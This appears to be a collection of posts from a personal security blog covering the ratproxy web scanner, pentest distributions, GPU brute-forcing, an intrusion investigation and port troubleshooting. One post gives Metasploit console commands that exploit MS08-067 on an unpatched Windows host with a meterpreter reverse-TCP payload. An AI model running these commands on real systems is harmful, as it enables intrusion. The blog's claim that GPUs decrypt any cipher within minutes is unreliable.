ratproxy - xss vulnerable scanner

[size=6][color=Red][b]ratproxy[/b][/color][/size]

Ratproxy is a tools use to scan the web vulnerable. The author of the ratproxy is Michal Zalewski, who is the famous greyhat in europe, the p0f also created by him as well.

The way of ratproxy works is act as proxy in between your browser and server. Then capture the all transaction from both sides. See below : -

browser －－－ ratproxy －－－ server

Requirement：
make the life easier， get a BT4. Then, boot the live CD will do

login = root password = toor


change directory to /pentest/web/ratproxy
root@bt:/#cd /pentest/web/ratproxy

make a directory for trace file create by ratproxy later root@bt:/pentest/web/ratproxy# mkdir /root/ratproxy

Then, run the ratproxy root@bt:/pentest/web/ratproxy# ./ratproxy -v /root/ratproxy/ -w e.log -d xxxxx.com.my -XCl2efxiscmg -p 8080 ratproxy version 1.58-beta by lcamtuf@google.com]lcamtuf@google.com Proxy configured successfully. Have fun, and please do not be evil. WARNING: Disruptive tests enabled. use with care. [+] Accepting connections on port 8080/tcp (local only)...

Simple explantion:
-v the directory i want to store the trace files
－w create a log file based on this project
－d xxxx.com.my is refer to my domain name
－p 8080 is the proxy port

for other parameters，please refer to http://code.google.com/p/ratproxy/wiki/RatproxyDoc
cause it is a bit longer



then, set up browser point to the proxy..Because i testing in my own box. So i use local host，port 8080 will do




go to that website，then login to that site。
after login you have to visit every single pages of this site.
for this example, i only visited for few pages


root@bt:/pentest/web/ratproxy# ./ratproxy -v /root/ratproxy/ -w e.log -d e-market.com.my -XCl2efxiscmg -p 8080
ratproxy version 1.58-beta by
lcamtuf@google.com]lcamtuf@google.com
Proxy configured successfully. Have fun, and please do not be evil.
WARNING: Disruptive tests enabled. use with care.
[+] Accepting connections on port 8080/tcp (local only)...
^C
back to this console, press CTRL+C to stop the ratproxy once you finish visit all the pages



Generate the html report
root@bt:/pentest/web/ratproxy# ./ratproxy-report.sh e.log > ratproxy_report.html
root@bt:/pentest/web/ratproxy# ls -lah ratproxy_report.html
-rw-r--r-- 1 root root 61K Jan 14 14:41 ratproxy_report.html




Then, open the browser to read the html report
see the screenshot, it can be categorized as few severity.
You can click the VIEW TRACE to see the whole process
also can click the EDIT to edit value。



look, the result of VIEW TRACE。
you can see the transaction from user browser to server


how is this tools ? coolz ??
this tool is used by Google as well.

metaspoilt [ms08_067] - conflicker

still remember the conflicker ? what is the damage to your company when this things spread out??

ms08-067 is a patches to prevent conflicker.
here im going to attack the machine which dont patches the ms08-067 by using metaspoilt.

requirement:-

system = ubuntu 9.10

apps = metaspoilt

(i dont/wont show how to install metaspoilt in ubuntu, as system admin,you guy please figure out by yourself. )

To execute msf,

#./opt/metaspoilt/msfconsole

then call the exploit module:

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.19
RHOST => 192.168.1.19
noted：RHOST is remote host，meaning your victim

msf exploit(ms08_067_netapi) > set LHOST 192.168.1.17
LHOST => 192.168.1.17
noted：LHOST is local host，the box you running msf

msf exploit(ms08_067_netapi) > set LPORT 4444
LPORT => 4444
note：LPORT is local port，the port you want to use. we use 4444 as example

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp
note：set the payload to do attack

msf exploit(ms08_067_netapi) > exploit
note: exploit the victim host

see , Windows IIS 10, Enjoy Hacking :P

Intruders cant guess what is my server platform, but they still can grab my webpage header.
Maybe they can guess from my webpage header.


see, nothing to be found.... i just do a basic modification in apache and mod_security.
For more advance topics in mod_security, please read below 2 books. It is very useful for apache
Apache Security by Ivan Ristic
The Definitive Guide to Apache mod_rewrite by Rich Bowen


Actually i have to do more advance web vulnerable testing because tested with 1 tools is not enough. It is dangerous if the production server only done with 1 tools for pen test.


hopefully i got time to do more advance pentest with various open source web scanner also proprietary product like NESSUS

Pentoo, another security distro

Pentoo, another security distro which intro by my china friend who playing Back Track with me along.

i had tested with my EEEPC 1005HA, it is very fast compared to BT4. Of coz BT4 is slower due to the x windows client is KDE3.x.

There's 2 things really impressed me which are latest kernel 2.6.32 and 2x CUDA Apps. The advantages of new kernel is more driver supported and i can use EXT4, i like this File System pretty much due to better performance. Yet, the CUDA Apps really make use the processing speed of CUDA, it is really good in brute force.

There's a GUI thingy called Fast Track Web Interface to allow people who are not familiar with linux have better life to play with this tools. This kind of GUI thingy also available in other security distro like NST.

I plan to install the Pentoo in my eeepc ,but my china friend ask me to wait for BT4 due to Bt4 final will release in this month. As i see from current development, the BT4 will come with Kernel 2.6.29 and my eeepc wireless card is able to detected automatically. I can install it thru source code but look like not so PERFECT already.

Well, let see what happen in BT4 after release.

Please see the Pentoo screenshot which i took by vmware

1st blog of 2010 - CUDA enabled GPGPU

this is my 1st blog in 2010 after i stopped blogging for almost half year.

As we know the brute force attack is required high speed processing power in order to achieve it.
but nowadays brute force attack can be done a normal home use PC. Thanks to NVIDIA who make the CUDA chipset to speed up the calculation of processing speed.

1 years ago, i dont see many of the CUDA based applications available in internet. With the effort of programmers, they had done some CUDA apps for brute force which is available in BackTrack 4 and Pentoo security distro.

Recently, ASUS has announced their home made super computer which is powered by CUDA GPGPU. It is very cheap like 200-300 USD per teraflops

As we can see, more and more CUDA based applications will be available soon. It is good because the calculation speed is speed up and the price is lower down whereas It is bad for people who have evil mindset.

Nothing to be safe if CUDA really make use in the our life. Any crypto can be decrypt within very few minutes or less.

server compromised - finding the intruder

Today received a call from someone who told me his customer server has been compromised which setup by me since almost 1 year ago.

Ask my favor to do some checking.

according to him, the intruder left 3 files into one of the web directory.
2 is text files and another 1 is an application.
i had check these 2 text files which are harmless code and the application is eggdrop which is IRC Bot application.

since i know it is eggdrop, i see where the files has been installed.
[root@www ~]# find / -name egg*
/var/www/html/crew/libraries/x/conf/eggdrop.chan
/var/www/html/crew/libraries/x/doc/html/egg-core.html

/usr/lib/python2.4/site-packages/gtk-2.0/egg
from the result result i found out the application installed on /var/www/html/crew/libraries/


Now, see when the application install on the server

see, most of them are 6th Jun 2009, i believe the application runs on that day. Yet, i also believe it is installed on the same day.

The IRC Bot are runing by both same user and group, loon. Then, i talk to the user and he said he didnt share his account with anyone.

let's see anyone inside the server or not

tcp 0 0 0.0.0.0:44526 0.0.0.0:* LISTEN 2709/-bash
tcp 0 0 203.114.11.102:51646 194.14.236.50:6667 ESTABLISHED 2709/-bash
udp 0 0 0.0.0.0:54629 0.0.0.0:* 2709/-bash
it is listening my tcp and udp port and established my tcp port with port number 51646


let see what loon doing now
[root@www alex]# lsof -u loon

simple command for troubleshoot the network applications

most of time i do troubleshooting on the network application, these are few command i will use it with log as well.

1st, netstat
2nd, lsof

From server itself, you can use the below command
1st, netstat
[root@www errs]# netstat -an|grep 3306
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN

note: see the port is opening :P


2nd, lsof
[root@www errs]# lsof -i tcp:3306
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
mysqld 7472 mysql 10u IPv4 12294 TCP *:mysql (LISTEN)

see, you can see those port 3306 is used by service, mysqld
and its PID is 7472
then is USER is mysql and etc.


especially lsof, it will tell you which application are bonded with the particular port.
explore lsof more :P you will get more with this command



from client you can try by localhost see whether the firewall is block it or not :P
C:\Documents and Settings\a13x>telnet www.aviocall.com 3306
Connecting To www.aviocall.com...Could not open connection to the host, on port
3306: Connect failed

see, it is failed to connect. i believe is my firewall block it.

Let see the log form server.
Dec 8 17:56:11 www kernel: Shorewall:net2all:DROP:IN=eth0 OUT= MAC=00:1e:68:9a:f6:19:00:13:7f:c4:47:1a:08:00 SRC=118.100.42.9 DST=203.114.11.102 LEN=48 TOS=0x00 PREC=0x00 TTL=113 ID=40540 DF PROTO=TCP SPT=50960 DPT=3306 WINDOW=65535 RES=0x00 SYN URGP=0
Dec 8 17:56:15 www psad: scan detected: 118.100.42.9 -> 203.114.11.102 tcp: [3306] flags: SYN tcp pkts: 1 DL: 1
see the log, the destination port is 3306 :P
that mean my firewall block it :P

so, the conclusion is mysql port 3306 only accessible by localhost or certain IP addresses :P


that's all for this part. Once you know what is the root cause, then only you can perform the troubleshooting.


another way , use sniffer like wireshark or tcpdump to troubleshoot it :P
you can get more :P but i dont plan to teach as im not really good in wireshark and this is dangerous tools for people who have evil mindset :P
